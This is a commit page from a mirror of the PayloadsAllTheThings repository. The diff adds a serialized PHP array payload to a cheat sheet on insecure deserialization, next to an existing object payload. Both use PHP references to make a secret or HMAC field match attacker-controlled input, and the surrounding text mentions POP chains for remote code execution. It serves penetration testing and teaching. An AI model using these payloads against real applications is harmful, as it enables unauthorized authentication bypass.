ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-02-01 07:57:25 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Merge branch 'master' of https://github.com/swisskyrepo/PayloadsAllTheThings into master

Browse Source
This commit is contained in:
Swissky 2020-09-27 11:17:33 +02:00
commit e36ae2458d
1 changed files with 7 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Insecure Deserialization/PHP.md
View File

@ -111,6 +111,12 @@ Payload:
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;} O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
``` ```
We can do an array to like this:
```php
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
```
## Finding and using gadgets ## Finding and using gadgets
Also called "PHP POP Chains", they can be used to gain RCE on the system. Also called "PHP POP Chains", they can be used to gain RCE on the system.